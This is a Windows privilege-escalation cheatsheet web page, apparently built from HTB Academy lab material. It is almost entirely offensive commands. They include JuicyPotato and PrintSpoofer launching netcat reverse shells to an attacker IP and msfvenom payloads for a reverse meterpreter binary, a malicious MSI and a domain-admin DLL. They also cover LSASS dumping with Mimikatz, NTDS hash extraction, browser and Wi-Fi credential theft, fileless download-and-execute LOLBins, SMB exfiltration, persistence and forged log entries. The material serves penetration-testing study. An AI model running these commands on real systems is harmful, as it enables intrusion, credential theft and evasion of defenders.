⬅ IndexCheatsheets

Windows Privilege Escalation — Cheatsheet

TitleWindows Privilege Escalation — Cheatsheet
CategoryCheatsheets
DescriptionInitial enumeration (ipconfig/arp/route), Defender & AppLocker, JuicyPotato/PrintSpoofer, service abuse, credential theft, exfiltrare LSASS, MSI/schtasks, mount VMDK — referinta completa.
Updated2026-09-09

Windows Privilege Escalation — Cheatsheet

Full command reference (HTB Academy — Windows Privilege Escalation). Order: enumerate → understand protections → credential hunt → privesc. Extends windows-security-recon.

Quick flow: ipconfig /all + arp -a + route print → whoami /all → Get-MpComputerStatus → Get-AppLockerPolicy -Effective → pick your path.

1️⃣ Initial Enumeration

Command Description
xfreerdp /v:<target ip> /u:htb-student RDP to lab target
ipconfig /all Get interface, IP address and DNS information
arp -a Review ARP table
route print Review routing table
Get-MpComputerStatus Check Windows Defender status
Get-AppLockerPolicy -Effective \| select -ExpandProperty RuleCollections List AppLocker rules
Get-AppLockerPolicy -Local \| Test-AppLockerPolicy -path C:\Windows\System32\cmd.exe -User Everyone Test AppLocker policy
set Display all environment variables
systeminfo View detailed system configuration information
wmic qfe Get patches and updates
wmic product get name Get installed programs
tasklist /svc Display running processes
query user Get logged-in users
echo %USERNAME% Get current user
whoami /priv View current user privileges
whoami /groups View current user group information
net user Get all system users
net localgroup Get all system groups
net localgroup administrators View details about a group
net accounts Get password policy
netstat -ano Display active network connections
pipelist.exe /accepteula List named pipes
gci \\.\pipe\ List named pipes with PowerShell
accesschk.exe /accepteula \\.\Pipe\lsass -v Review permissions on a named pipe

2️⃣ Protections — reading the results

3️⃣ Handy Commands (privesc / lateral)

Command Description
mssqlclient.py [email protected] -windows-auth Connect using mssqlclient.py
enable_xp_cmdshell Enable xp_cmdshell with mssqlclient.py
xp_cmdshell whoami Run OS commands with xp_cmdshell
c:\tools\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.14.3 443 -e cmd.exe" -t * Escalate privileges with JuicyPotato
c:\tools\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.14.3 8443 -e cmd" Escalating privileges with PrintSpoofer
procdump.exe -accepteula -ma lsass.exe lsass.dmp Take memory dump with ProcDump
sekurlsa::minidump lsass.dmp + sekurlsa::logonpasswords Use Mimikatz to extract credentials from LSASS memory dump
dir /q C:\backups\wwwroot\web.config Checking ownership of a file
takeown /f C:\backups\wwwroot\web.config Taking ownership of a file
Get-ChildItem -Path 'C:\backups\wwwroot\web.config' \| select name,directory, @{Name="Owner";Expression={(Get-ACL $_.Fullname).Owner}} Confirming changed ownership of a file
icacls "C:\backups\wwwroot\web.config" /grant htb-student:F Modifying a file ACL
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL Extract hashes with secretsdump.py
robocopy /B E:\Windows\NTDS .\ntds ntds.dit Copy files with ROBOCOPY
wevtutil qe Security /rd:true /f:text \| Select-String "/user" Searching security event logs
wevtutil qe Security /rd:true /f:text /r:share01 /u:julie.clay /p:Welcome1 \| findstr "/user" Passing credentials to wevtutil
Get-WinEvent -LogName security \| where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*' } \| Select-Object @{name='CommandLine';expression={ $_.Properties[8].Value }} Searching event logs with PowerShell
msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll Generate malicious DLL
dnscmd.exe /config /serverlevelplugindll adduser.dll Loading a custom DLL with dnscmd
wmic useraccount where name="netadm" get sid Finding a user's SID
sc.exe sdshow DNS Checking permissions on DNS service
sc stop dns / sc start dns Stopping / starting a service
reg query \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters Querying a registry key
reg delete \\10.129.43.9\HKLM\...\Services\DNS\Parameters /v ServerLevelPluginDll Deleting a registry key
sc query dns Checking a service status
Set-DnsServerGlobalQueryBlockList -Enable $false -ComputerName dc01.inlanefreight.local Disabling the global query block list
Add-DnsServerResourceRecordA -Name wpad -ZoneName inlanefreight.local -ComputerName dc01.inlanefreight.local -IPv4Address 10.10.14.3 Adding a WPAD record
cl /DUNICODE /D_UNICODE EnableSeLoadDriverPrivilege.cpp Compile with cl.exe
reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\??\C:\Tools\Capcom.sys" Add reference to a driver (1)
reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1 Add reference to a driver (2)
.\DriverView.exe /stext drivers.txt + cat drivers.txt \| Select-String -pattern Capcom Check if driver is loaded
EoPLoadDriver.exe System\CurrentControlSet\Capcom c:\Tools\Capcom.sys Using EopLoadDriver
c:\Tools\PsService.exe security AppReadiness Checking service permissions with PsService
sc config AppReadiness binPath= "cmd /c net localgroup Administrators server_adm /add" Modifying a service binary path
REG QUERY HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA Confirming UAC is enabled
REG QUERY HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin Checking UAC level
[environment]::OSVersion.Version Checking Windows version
cmd /c echo %PATH% Reviewing path variable
curl http://10.10.14.3:8080/srrstr.dll -O "C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll" Downloading file with cURL in PowerShell
rundll32 shell32.dll,Control_RunDLL C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll Executing custom dll with rundll32.exe
.\SharpUp.exe audit Running SharpUp
icacls "C:\Program Files (x86)\PCProtect\SecurityService.exe" Checking service permissions with icacls
cmd /c copy /Y SecurityService.exe "C:\Program Files (x86)\PCProtect\SecurityService.exe" Replace a service binary
wmic service get name,displayname,pathname,startmode \| findstr /i "auto" \| findstr /i /v "c:\windows\\" \| findstr /i /v """ Searching for unquoted service paths
accesschk.exe /accepteula "mrb3n" -kvuqsw hklm\System\CurrentControlSet\services Checking for weak service ACLs in the Registry
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\ModelManagerService -Name "ImagePath" -Value "C:\Users\john\Downloads\nc.exe -e cmd.exe 10.10.10.205 443" Changing ImagePath with PowerShell
Get-CimInstance Win32_StartupCommand \| select Name, command, Location, User \| fl Check startup programs
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.14.3 LPORT=8443 -f exe > maintenanceservice.exe Generating a malicious binary
get-process -Id 3324 Enumerating a process ID with PowerShell
get-service \| ? { $_.DisplayName -like 'Druva*' } Enumerate a running service by name with PowerShell

4️⃣ Credential Theft

Command Description
findstr /SIM /C:"password" *.txt *ini *.cfg *.config *.xml Search for files with the phrase "password"
gc 'C:\Users\htb-student\AppData\Local\Google\Chrome\User Data\Default\Custom Dictionary.txt' \| Select-String password Searching for passwords in Chrome dictionary files
(Get-PSReadLineOption).HistorySavePath Confirm PowerShell history save path
gc (Get-PSReadLineOption).HistorySavePath Reading PowerShell history file
$credential = Import-Clixml -Path 'C:\scripts\pass.xml' Decrypting PowerShell credentials
cd c:\Users\htb-student\Documents + findstr /SI /M "password" *.xml *.ini *.txt Searching file contents for a string
findstr /si password *.xml *.ini *.txt *.config Searching file contents for a string
findstr /spin "password" *.* Searching file contents for a string
select-string -Path C:\Users\htb-student\Documents\*.txt -Pattern password Search file contents with PowerShell
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* Search for file extensions
where /R C:\ *.config Search for file extensions
Get-ChildItem C:\ -Recurse -Include *.rdp, *.config, *.vnc, *.cred -ErrorAction Ignore Search for file extensions using PowerShell
cmdkey /list List saved credentials
.\SharpChrome.exe logins /unprotect Retrieve saved Chrome credentials
.\lazagne.exe -h / .\lazagne.exe all View LaZagne help / run all modules
Invoke-SessionGopher -Target WINLPE-SRV01 Running SessionGopher
netsh wlan show profile View saved wireless networks
netsh wlan show profile ilfreight_corp key=clear Retrieve saved wireless passwords

5️⃣ Other Commands

Command Description
certutil.exe -urlcache -split -f http://10.10.14.3:8080/shell.bat shell.bat Transfer file with certutil
certutil -encode file1 encodedfile / certutil -decode encodedfile file2 Encode / decode file with certutil
reg query HKCU\Software\Policies\Microsoft\Windows\Installer Query for always install elevated registry key (1)
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer Query for always install elevated registry key (2)
msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.3 lport=9443 -f msi > aie.msi Generate a malicious MSI package
msiexec /i c:\users\htb-student\desktop\aie.msi /quiet /qn /norestart Executing an MSI package from command line
schtasks /query /fo LIST /v Enumerate scheduled tasks
Get-ScheduledTask \| select TaskName,State Enumerate scheduled tasks with PowerShell
.\accesschk64.exe /accepteula -s -d C:\Scripts\ Check permissions on a directory
Get-LocalUser Check local user description field
Get-WmiObject -Class Win32_OperatingSystem \| select Description Enumerate computer description field
guestmount -a SQL01-disk1.vmdk -i --ro /mnt/vmd Mount VMDK on Linux
guestmount --add WEBSRV10.vhdx --ro /mnt/vhdx/ -m /dev/sda1 Mount VHD/VHDX on Linux
sudo python2.7 windows-exploit-suggester.py --update Update Windows Exploit Suggester database
python2.7 windows-exploit-suggester.py --database 2021-05-13-mssb.xls --systeminfo win7lpe-systeminfo.txt Running Windows Exploit Suggester

6️⃣ Living Off the Land — top picks (MS command reference)

Everything under C:\Windows\System32 is allowed by default AppLocker → these are your AV-light, no-upload tools. Full A–Z: MS link below.

File transfer (download / upload)

Command Why
bitsadmin /transfer dl /download http://10.10.14.3/nc.exe C:\Users\Public\nc.exe Download via BITS (async, survives reboot, hard to spot)
certutil -urlcache -split -f http://10.10.14.3/shell.bat shell.bat Classic LOLBin downloader
certutil -encode f1 enc / certutil -decode enc f2 Encode/decode (exfil as text)
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.3/rev.ps1')" In-memory download + execute (no file on disk)
curl.exe -o out.exe http://10.10.14.3/out.exe Native curl (Win10 1803+)
net use x: \\10.10.14.3\share + copy file x:\ / xcopy / robocopy Exfil / transfer over SMB

Execution / AV-evasion entry points

Command Why
powershell -enc <base64> Encoded command, no quotes in cmdline
powershell -c "IEX(...)" Fileless (see above)
mshta http://10.10.14.3/payload.hta HTA execution (classic phishing/initial)
regsvr32 /s /n /u /i:http://10.10.14.3/x.sct scrobj.dll Squiblydoo — runs scriptlet from URL via trusted binary
rundll32 javascript:"\..\mshtml,RunHTMLApplication ";document.write();shell.run("cmd /c ...") Code exec via mshtml
wmic process call create "cmd /c C:\Temp\t.exe" Execute via WMIC (also wmic /node:<host> ... lateral)
cscript //nologo payload.vbs / wscript payload.vbs VBS execution
msiexec /i http://10.10.14.3/aie.msi /quiet /qn /norestart Execute MSI from URL (also always-install-elevated privesc)
cmstp /ni /s evil.inf INF-based execution (rarely monitored)
forfiles /p C:\Windows /m svchost.exe /c "cmd /c C:\Temp\tool.exe" Indirect execution via built-in

Persistence

Command Why
schtasks /create /tn Upd /tr "cmd /c C:\Temp\t.exe" /sc onlogon /ru <user> /f Scheduled task (survives reboot)
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Upd /t REG_SZ /d "C:\Temp\t.exe" Run key persistence (HKCU = no admin)
sc create Upd binPath= "cmd /c C:\Temp\t.exe" start= auto Service persistence (admin)
bitsadmin /create Upd + /addfile ... + /setnotifycmdline ... + /resume BITS job persistence
mklink /J C:\Users\Public\Link C:\Windows\System32 Junctions for path tricks / DLL search

Recon extras (native, from MS list)

Command Why
nbtstat -n / nbtstat -c NetBIOS names + cached remote hosts
nslookup / getmac /v DNS lookups / MAC → vendor (host identification)
driverquery /v Third-party drivers (potential vuln drivers, BYOVD)
fltmc filters Loaded filter drivers (AV/EDR presence!)
gpresult /r / gpresult /z Effective GPOs (incl. AppLocker source)
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Startup entries (all users)
eventcreate /ID 4688 /L Security /T INFORMATION /SO ... Forge log entries (opsec)
takeown /f <file> + icacls <file> /grant <user>:F Take ownership of protected files

Module in progress — extends as new sections appear.

🔗 Resurse oficiale